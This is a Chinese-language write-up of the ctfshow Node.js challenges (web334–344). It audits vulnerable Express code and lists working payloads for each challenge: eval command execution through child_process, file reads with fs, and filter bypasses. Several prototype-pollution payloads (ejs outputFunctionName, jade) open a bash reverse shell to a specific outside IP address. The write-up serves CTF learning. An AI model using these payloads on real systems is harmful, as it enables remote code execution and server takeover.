nodejs-原型污染链

还是老规矩,边写边学,先分享两篇文章

深入理解 JavaScript Prototype 污染攻击 | 离别歌

《JavaScript百炼成仙》 全书知识点整理-CSDN博客

Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客

334-js审计

var express = require('express');
// 引入 Express 框架,这是一个流行的 Node.js Web 应用框架,用于构建服务器和处理 HTTP 请求。var router = express.Router();
// 创建一个路由器对象,用于定义路由中间件和路由句柄。路由器可以模块化地管理路由。var users = require('../modules/user').items;
// 引入用户模块中的用户数据,假设用户模块导出了一个包含用户信息的对象或数组。var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
// 定义一个查找用户函数,用于在用户数据中查找匹配的用户名和密码的用户。
// 参数:
//   name: 用户名
//   password: 密码
// 返回值:
//   如果找到匹配的用户,返回该用户对象;否则返回 undefined。
// 逻辑:
//   首先检查用户名是否不等于 'CTFSHOW',这是为了避免某些特殊情况或保留用户名的登录。
//   然后将用户名转换为大写(name.toUpperCase()),以实现不区分大小写的用户名匹配。
//   最后检查用户的密码是否与提供的密码匹配。/* GET home page. */
// 这是一个注释,表示下面的路由处理函数是用于处理首页的 GET 请求。
// 但实际上,下面的代码是处理 POST 请求,可能是注释有误。router.post('/', function(req, res, next) {
// 定义一个处理 POST 请求的路由,路径为 '/'。
// 参数:
//   req: 请求对象,包含客户端发送的请求信息。
//   res: 响应对象,用于向客户端发送响应。
//   next: 函数,用于将控制权传递给下一个中间件或路由处理函数。res.type('html');// 设置响应的内容类型为 HTML,这样浏览器会将响应内容解析为 HTML 页面。var flag='flag_here';// 定义一个变量 flag,值为 'flag_here',这可能是用于某些特殊功能或测试的标记。var sess = req.session;// 获取请求对象中的会话对象,用于管理用户会话。var user = findUser(req.body.username, req.body.password);// 调用 findUser 函数,使用请求体中的用户名和密码查找用户。// req.body.username 是客户端发送的用户名,req.body.password 是客户端发送的密码。if(user){// 如果找到用户,执行以下代码块。req.session.regenerate(function(err) {// 重新生成会话 ID,这通常用于安全目的,以防止会话固定攻击。// 参数://   err: 错误对象,如果重新生成会话 ID 时发生错误,会传递给回调函数。if(err){// 如果发生错误,执行以下代码块。return res.json({ret_code: 2, ret_msg: '登录失败'});// 向客户端发送 JSON 响应,表示登录失败,错误代码为 2,消息为 '登录失败'。// return 用于立即返回响应,阻止后续代码执行。}req.session.loginUser = user.username;// 将找到的用户名存储到会话中,表示用户已登录。res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});// 向客户端发送 JSON 响应,表示登录成功,错误代码为 0,消息为 '登录成功',并包含 flag 值。});}else{// 如果未找到用户,执行以下代码块。res.json({ret_code: 1, ret_msg: '账号或密码错误'});// 向客户端发送 JSON 响应,表示账号或密码错误,错误代码为 1,消息为 '账号或密码错误'。}  
});
// 结束路由处理函数的定义。module.exports = router;
// 导出路由器对象,以便在其他模块中使用该路由。
module.exports = {
// 将模块的 exports 对象设置为一个包含 items 属性的对象,这样其他模块可以通过 require 引入该模块并访问 items 数据。items: [// 定义一个数组,数组中包含用户对象,用于存储用户信息。{username: 'CTFSHOW', password: '123456'}// 用户对象,包含用户名和密码属性。// username: 'CTFSHOW',表示用户名为 CTFSHOW。// password: '123456',表示该用户的密码为 123456。]
};

审计一下代码

   name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

就这段是核心,审计代码知道要让findUser为true,必须要让name!=CTFSHOW,但是转换为大写后等于CTFSHOW,然后密码是123456。显然name为小写就行,即等于ctfshow

 所以只需要传参username=ctfshow&password=123456即可(直接登入框打也行) 

335 -js命令执行

 

看源码有点提示。 然后去搜了一些js中eval的用法

eval() - JavaScript | MDN

那不出意外源码就是执行了console.log(eval("2 + 2"));所以接下来要找执行命令的函数,这里显然是用child_process模块,具体可看下面的文章

child_process 子进程 | Node.js v23 文档

先导入child_process模块,再执行命令查看路径

下面3个都可以查看路径,但是只有后两个可以执行命令,具体可以看文章

 学习一些payload

Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客

?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat f*')
?eval=require('child_process').execSync('ls').toString()
?eval=require('child_process').execSync('cat fl00g.txt').toString()?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()  //不能通配符?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

 336-exec被过滤

exec被过滤

 

?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()  //不能通配符?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

也可以拼接绕过

?eval=require('child_process')['ex'%2B'ecSync']('ls')

还有解法传?eval=__filename可以看到路径为/app/routes/index.js(__filename :返回当前模块文件的绝对路径)

打下面这个payload看到源码 

?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

?eval=require('fs').readdirSync('.')

?eval=require('fs').readFileSync('fl001g.txt')

 337-js之语法

var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var crypto = require('crypto'); // 引入crypto模块,用于加密操作// 定义一个函数,用于计算字符串的md5值
function md5(s) {return crypto.createHash('md5') // 创建一个md5加密算法的hash对象.update(s) // 将要加密的字符串传入hash对象.digest('hex'); // 将加密后的结果以16进制字符串的形式返回
}/* GET home page. */ // 定义一个路由规则,当访问首页时触发
router.get('/', function(req, res, next) { // 使用get方法监听根路径'/'的请求res.type('html'); // 设置响应的内容类型为htmlvar flag='xxxxxxx'; // 定义一个变量flag,值为'xxxxxxx',可能是某种标志或密钥var a = req.query.a; // 获取请求参数a的值,req.query用于获取url中的查询参数var b = req.query.b; // 获取请求参数b的值// 判断a和b是否都存在,且长度相等,且不相等,且a拼接flag后的md5值等于b拼接flag后的md5值if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag); // 如果满足条件,直接返回flag}else{res.render('index',{ msg: 'tql'}); // 如果不满足条件,渲染index页面,并传入msg参数值为'tql'}});module.exports = router; // 将路由对象导出,以便在其他文件中使用

这里a,b没限制string,那肯定要用数组绕过。审计代码知道a,b要满足a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)。学习了下面的文章

Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客

方法一

a={'x':'1'}
b={'x':'2'}console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

索引这里只需要满足中括号里面是非数字就行(因为长度要一样),a,b的只随便,比如a[:]=1&b[:]=2,或者a[c]=2&b[f]=3不管咋样结果都是[object Object]flag{xxx}

方法二

打a[]=x&b[]=x,这样console.log(a+flag)结果是x(同理b也是,所以md5也相等),这个a[0]=x&b[0]=x也行。

方法三

?a[]=x&b=x。首先要知道[‘a’]+flag= = =‘a’+flag,所以自然md5加密相同

338-原型链污染

这里再把p神的文章看一下,再做题显然更流畅

深入理解 JavaScript Prototype 污染攻击 | 离别歌

 题目给了源码,审计一下源码,,发现两段核心代码


module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}

显然这个函数是递归,作用是将 object2 的所有可枚举属性(key)复制到 object1 中。如果属性值key,object2有,object1没有,就直接object2复制给1,这个key如果是__proto__,就可以原型链污染。

再分析下面代码,secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断  secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。

var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var utils = require('../utils/common'); // 引入一个自定义的工具模块,路径是相对于当前文件的../utils/common.js/* GET home page.  */ // 定义一个路由规则,当访问首页时触发
router.post('/', require('body-parser').json(), function(req, res, next) { // 使用post方法监听根路径'/'的请求,并使用body-parser中间件解析json格式的请求体res.type('html'); // 设置响应的内容类型为htmlvar flag='flag_here'; // 定义一个变量flag,值为'flag_here',可能是某种标志或密钥var secert = {}; // 定义一个空对象secert,可能用于存储某些秘密信息var sess = req.session; // 获取请求的会话对象,用于管理用户会话let user = {}; // 定义一个空对象user,用于存储用户信息utils.copy(user, req.body); // 使用utils模块的copy方法将请求体中的数据复制到user对象中// 判断secert对象的ctfshow属性是否等于'36dboy'if(secert.ctfshow==='36dboy'){res.end(flag); // 如果条件满足,直接返回flag}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); // 如果条件不满足,返回一个json格式的响应,包含错误代码和消息}});module.exports = router; // 将路由对象导出,以便在其他文件中使用

在这段代码中,服务器使用 body-parser 中间件来解析 JSON 格式的请求体。因此,客户端需要以 JSON 格式发送数据。所以这里post传json格式的数据,所以最后格式就是post传(记得先登入框抓包,再改数据)

{"__proto__":{"ctfshow":"36dboy"}}

339 -反弹shell污染

题目给了源码,审计一下,发现三段重要的代码

module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');function User(){this.username='';this.password='';
}
function normalUser(){this.user
}/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});module.exports = router;
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;

 这题多了一个api.js,而且login.js中secert.cftshow===flag,这个flag是不知道的。

Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新
的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字
符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个
语句的结果。

ctfshow web入门 nodejs 334-341(更新中)_ctfshow web入门 nodejs篇 web334-web344-CSDN博客

 而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是
query,那么他就会自动去Object寻找值并返回。所以我们只要让Object.prototype下面的query的值为我们想
要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行

接下来login的post打反弹shell

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}

然后路由改为api发包,结果是这样就对

flag在login.js里

下面的paylaod本来按道理可以打,但是打不了 ,后面搜了一下文章,是因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译。下面的文章很详细可以仔细看看

nodejs - web339 原型链污染 - 《CTF show》 - 极客文档

{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}

非预期

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}

340-二次污染链-反弹shell

这题与上题就这有点不同

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'});  }

上一题从secert对象进行污染,secert对象上一级就是object,所以污染一次就行了。这一题从userinfo对象进行污染,userinfo对象上一级是user对象,user对象上一级就是object,所以需要污染两次。

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}

开始我有问题,就是为什么不直接将isAdmin的属性污染成true,后面翻了翻资料发现,首先,user是有isAdmin的属性(false),而子类是不能污染父类已有的属性,只能污染父类没有的属性,也就是增加属性,就算你污染了object,当userinfo向上查找是发现user的isadmin属性是false就停止了。所以我们还是污染2次,进行反弹shell

flag在环境变量里,打env即可

341.污染链之ejs模板引擎漏洞。

这题删除了api,login.js也修改了

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };};utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){return res.json({ret_code: 0, ret_msg: '登录成功'});  }else{return res.json({ret_code: 2, ret_msg: '登录失败'});  }

说实话,有点看不到懂,看来很多文章此题都是直接打payload,说什么打ejs模板引擎漏洞,分享一篇文章吧

文章 - Ejs模板引擎注入实现RCE - 先知社区

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}}

login中post打这个paylaod,然后删除payload再次发包即可,flag还是在环境里。 

342-343.污染链之jade rce

这题看来很多文章还是没看懂,代码功力太弱了,直接打payload

nodejs - web342 原型链污染 - 《CTF show》 - 极客文档

文章 - 再探 JavaScript 原型链污染到 RCE - 先知社区

 依旧login.js中post打这个paylaod(请求头中的“Content-Type”改为"application/json"),然后删除payload再次发包即可,flag还是在环境里。 

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}

344

题目页面给了代码

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});

看代码本来只需传?query={"name":"admin","password":"ctfshow","isVIP"=true},但是正则过滤了8c,2c,还有逗号,所以改成

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

但是双引号的正则是%22与c连在一起匹配到了正则,所以url编码c即可,最终是

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/74638.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Oracle 数据库通过exp/imp工具迁移指定数据表

项目需求:从prod数据库迁移和复制2个表(BANK_STATE,HBS)的数据到uat数据库环境。 数据库版本:Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 迁移工具:客户端exp/imp工具 -- 执行命令 从Prod数据库导出数据exp us…

企业级基于SpringBoot的MQTT的构建和使用

基于SpringBoot的MQTT配置及使用 首先要使用EMQX搭建一个MQTT服务器&#xff0c;参考文档&#xff1a;EMQX快速开始 本着开源分享的观点&#xff0c;闲话不多说&#xff0c;直接上代码 导入Maven <dependency><groupId>org.springframework.integration</gro…

26考研——图_图的代码实操(6)

408答疑 文章目录 五、图的代码实操图的存储邻接矩阵结构定义初始化插入顶点获取顶点位置在顶点 v1 和 v2 之间插入边获取第一个邻接顶点获取下一个邻接顶点显示图 邻接表结构定义初始化图插入顶点获取顶点位置在顶点 v1 和 v2 之间插入边获取第一个邻接顶点获取下一个邻接顶点…

开源webmail邮箱客户端rainloop的分支版本SnappyMail 设置发件人允许多重身份

RainLoop已多年未更新&#xff0c;SnappyMail 是 RainLoop 的分支&#xff0c;由社区维护。SnappyMail 不仅修复了漏洞&#xff0c;还增加了更多功能和优化。对 IMAP 支持更好&#xff0c;移动端体验也比 RainLoop 更细致。 安装过程和设置跟RainLoop一样&#xff1a; 以宝塔面…

海量数据场景题--查找两个大文件的URL

查找两个大文件共同的URL 给定 a、b 两个文件&#xff0c;各存放 50 亿个 URL&#xff0c;每个 URL 各占 64B&#xff0c;找出 a、b 两个文件共同的 URL。内存限制是 4G。 操作逻辑&#xff1a; 使用哈希函数 hash(URL) % 1000​ 将每个URL映射到0-999的编号 文件A切割为a0, a1…

简单ELK框架搭建

简介 ELK 框架是一套开源的日志管理和分析工具&#xff0c;由 Elasticsearch、Logstash 和 Kibana 三个主要组件组成&#xff0c;现在新增了Filebeat组件&#xff0c;可以更高效的收集数据。 Elasticsearch&#xff1a;是一个分布式、高可扩展的开源搜索引擎&#xff0c;能快速…

VS Code 中 .history`文件的来源与 .gitignore`的正确使用

引言 在使用 VS Code 进行 Git 版本控制时&#xff0c;有时会发现项目中多出一个 .history 目录&#xff0c;并被 Git 识别为未跟踪文件。本文将解释 .history 的来源&#xff0c;并提供 .gitignore 的正确配置方法&#xff0c;确保开发环境的整洁性。 1. .history 文件的来源…

网络之数据链路层

数据链路层 数据链路层目标 TCP/IP提供了一种能力, 将数据可靠的从 B 跨网络送到 C 主机, 这期间是由无数次局域网转发构成的, 比如 主机B 到 路由器F 就是一次局域网通信的问题, 而数据链路层就是研究数据是如何在局域网内部转发的. 也就是说, 应用层是进行数据的处理, 传输…

A Brief History: from GPT-1 to GPT-3

This is my reading notes of 《Developing Apps with GPT-4 and ChatGPT》. In this section, we will introduce the evolution of the OpenAI GPT medels from GPT-1 to GPT-4. GPT-1 In mid-2018, OpenAI published a paper titled “Improving Language Understanding …

基于大数据的各品牌手机销量数据可视化分析系统(源码+lw+部署文档+讲解),源码可白嫖!

摘要 时代在飞速进步&#xff0c;每个行业都在努力发展现在先进技术&#xff0c;通过这些先进的技术来提高自己的水平和优势&#xff0c;各品牌手机销量数据可视化分析系统当然不能排除在外。基于大数据的各品牌手机销量数据可视化分析系统是在实际应用和软件工程的开发原理之…

人工智能-群晖Docker部署DB-GPT

人工智能-群晖Docker部署DB-GPT 0 环境及说明1 获取dbgpt的docker镜像2 下载向量模型3 下载配置文件4 修改配置文件5 创建dbgpt容器并运行6 访问dbgpt0 环境及说明 环境项说明DSM版本DSM 7.2.1-69057 update 3Container Manager版本24.0.2-1535当前 hub.docker.com 镜像仓库中的…

Netty——TCP 粘包/拆包问题

文章目录 1. 什么是 粘包/拆包 问题&#xff1f;2. 原因2.1 Nagle 算法2.2 滑动窗口2.3 MSS 限制2.4 粘包的原因2.5 拆包的原因 3. 解决方案3.1 固定长度消息3.2 分隔符标识3.3 长度前缀协议3.3.1 案例一3.3.2 案例二3.3.3 案例三 4. 总结 1. 什么是 粘包/拆包 问题&#xff1f…

JavaScript Fetch API

简介 fetch() API 是用于发送 HTTP 请求的现代异步方法&#xff0c;它基于 Promise&#xff0c;比传统的 XMLHttpRequest 更加简洁、强大 示例 基本语法 fetch(url, options).then(response > response.json()).then(data > console.log(data)).catch(error > con…

UMI-OCR Docker 部署

额外补充 Docker 0.前置条件 部署前&#xff0c;请检查主机的CPU是否具有AVX指令集 lscpu | grep avx 输出如下即可继续部署 Flags: ... avx ... avx2 ... 1.下载dockerfile wget https://raw.githubusercontent.com/hiroi-sora/Umi-OCR_runtime_linux/main/Do…

C++ --- 二叉搜索树

1 二叉搜索树的概念 ⼆叉搜索树⼜称⼆叉排序树&#xff0c;它或者是⼀棵空树&#xff0c;或者是具有以下性质的⼆叉树: 1 若它的左⼦树不为空&#xff0c;则左⼦树上所有结点的值都⼩于等于根结点的值 2 若它的右⼦树不为空&#xff0c;则右⼦树上所有结点的值都⼤于等于根结点…

跨语言语言模型预训练

摘要 最近的研究表明&#xff0c;生成式预训练在英语自然语言理解任务中表现出较高的效率。在本研究中&#xff0c;我们将这一方法扩展到多种语言&#xff0c;并展示跨语言预训练的有效性。我们提出了两种学习跨语言语言模型&#xff08;XLM&#xff09;的方法&#xff1a;一种…

文件描述符,它在哪里存的,exec()后还存在吗

学过计系肯定了解 寄存器、程序计数器、堆栈这些 程序运行需要的资源。 这些是进程地址空间。 而操作系统分配一个进程资源时&#xff0c;分配的是 PCB 进程控制块。 所以进程控制块还维护其他资源——程序与外部交互的资源——文件、管道、套接字。 文章目录 文件描述符进程管…

Slidev使用(一)安装

文章目录 1. **安装位置**2. **使用方式**3. **适用场景**4. **管理和维护** 全局安装1. **检查 Node.js 和 npm 是否已安装**2. **全局安装 Slidev CLI**3. **验证安装是否成功**4. **创建幻灯片文件**5. **启动 Slidev**6. **实时编辑和预览**7. **构建和导出&#xff08;可选…

第二十一章:模板与继承_《C++ Templates》notes

模板与继承 重点和难点编译与测试说明第一部分&#xff1a;多选题 (10题)第二部分&#xff1a;设计题 (5题)答案与详解多选题答案&#xff1a;设计题参考答案 测试说明 重点和难点 21.1 空基类优化&#xff08;EBCO&#xff09; 知识点 空基类优化&#xff08;Empty Base Cla…

AOA与TOA混合定位,MATLAB例程,自适应基站数量,三维空间下的运动轨迹,滤波使用EKF

本代码实现了一个基于 到达角(AOA) 和 到达时间(TOA) 的混合定位算法,结合 扩展卡尔曼滤波(EKF) 对三维运动目标的轨迹进行滤波优化。代码通过模拟动态目标与基站网络,展示了从信号测量、定位解算到轨迹滤波的全流程,适用于城市峡谷、室内等复杂环境下的定位研究。 文…